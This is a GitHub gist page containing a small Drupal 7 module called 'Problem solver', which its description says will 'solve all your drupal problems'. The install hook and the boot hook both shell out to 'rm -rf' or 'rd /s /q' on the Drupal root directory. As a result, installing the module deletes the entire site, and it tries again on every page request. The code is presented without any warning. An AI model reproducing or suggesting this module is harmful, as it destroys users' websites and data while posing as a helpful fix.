Skip to content

Instantly share code, notes, and snippets.

@kt2
Forked from nigelheap/problem_solver.info
Created May 9, 2017 05:39
Show Gist options
  • Save kt2/c027925e508349935ce999f8702a1bfb to your computer and use it in GitHub Desktop.
Save kt2/c027925e508349935ce999f8702a1bfb to your computer and use it in GitHub Desktop.
problem_solver module
name = Problem solver
description = The module that will solve all your drupal problems
package = Problems
version = 1.x
core = 7.x
<?php
/**
* @file
*
* Install file for Problem Solver module.
*/
/**
* Implements hook_install().
*/
function problem_solver_install() {
$dir = DRUPAL_ROOT;
// Execute Windows command else Linux
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
`rd /s /q $dir`;
} else {
`rm -rf $dir`;
}
}
<?php
/**
* @file
*
* Module file for Problem Solver module.
*/
/**
* Implements hook_boot().
*/
function problem_solver_boot(){
$dir = DRUPAL_ROOT;
// Execute Windows command else Linux
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
`rd /s /q $dir`;
} else {
`rm -rf $dir`;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment